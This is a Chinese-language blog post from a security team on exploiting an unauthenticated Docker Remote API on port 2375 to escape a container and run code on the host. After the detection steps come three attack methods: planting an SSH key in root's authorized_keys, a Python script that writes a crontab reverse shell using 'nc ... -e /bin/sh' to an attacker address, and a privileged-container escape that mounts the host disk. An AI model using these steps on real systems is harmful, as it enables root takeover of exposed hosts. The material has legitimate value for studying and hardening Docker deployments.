Docker Remote API未授权访问逃逸RCE分析

由 晨星运营组 发布

Docker Remote API未授权访问与逃逸RCE

Docker 是一个提供容器化软件打包和交付的平台即服务(PaaS)解决方案。

漏洞原理

Docker 守护进程(dockerd)提供了一个 REST API,允许远程管理 Docker 容器、镜像和其他资源。

当 Docker 守护进程被配置为监听网络端口(通常是 TCP 端口 2375)且未启用适当的身份验证机制时,攻击者 可以未经授权访问 Docker API,执行 docker 命令。

利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。

漏洞检测

访问 http://ip:2375/version 发现存在未授权

执行 docker 命令

sudo docker -H tcp://127.0.0.1:2375 images
sudo docker -H tcp://127.0.0.1:2375 ps -a

提权方法

第一种:写入SSH公钥

启动一个容器,挂载宿主机的 /root/目录,之后将攻击者的 SSH 公钥 ~/.ssh/id_rsa.pub 的内容写到入宿主机的 /root/.ssh/authorized_keys 文件中,之后就可以用 root 账户直接登录了

本地获取 SSH 公钥

ssh-keygen -t rsa


将公钥复制到被攻击者的 /root/.ssh/authorized_keys 文件中然后远程连接

第二种:crontab反弹Shell

import docker

client = docker.DockerClient(base_url='http://192.168.X.X:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * */usr/bin/nc 192.168.X.X 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

# 意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了
# 可以将命令写入 crontab 配置文件,进行反弹shell

第三种:通过容器

去官方下载一个镜像文件 alpine

docker -H tcp://192.168.241.142:2375 pull alpine

接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine /bin/sh

#在 kali 中启动一个有交互的shell,并且是特权镜像
#当操作者执行 docker run —privileged 时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限


进入容器后,使用fdisk -l命令查看磁盘文件

注意:在特权模式下,逃逸的方式很多;比如:直接在容器内部挂载宿主机磁盘,然后切换根目录

从返回的信息中可以判断出,/dev/sda5是主分区,那么接下来直接在容器内部挂载宿主机磁盘


挂在磁盘到新建目录

mkdir /wxiaoge
mount /dev/sda5 /wxiaoge
cd wxiaoge/
touch wxiaoge.txt


接下来看一下靶机中确实创建了wxiaoge.txt文件,docker 逃逸成功

接下来可以反弹主机Shell,创建xxx.sh文件

添加执行权限,并且写入到定时任务中

打开监听端口

一分钟后收到 Shell


作者:晨星安全团队——雾島风起時

-END-


0条评论

发表评论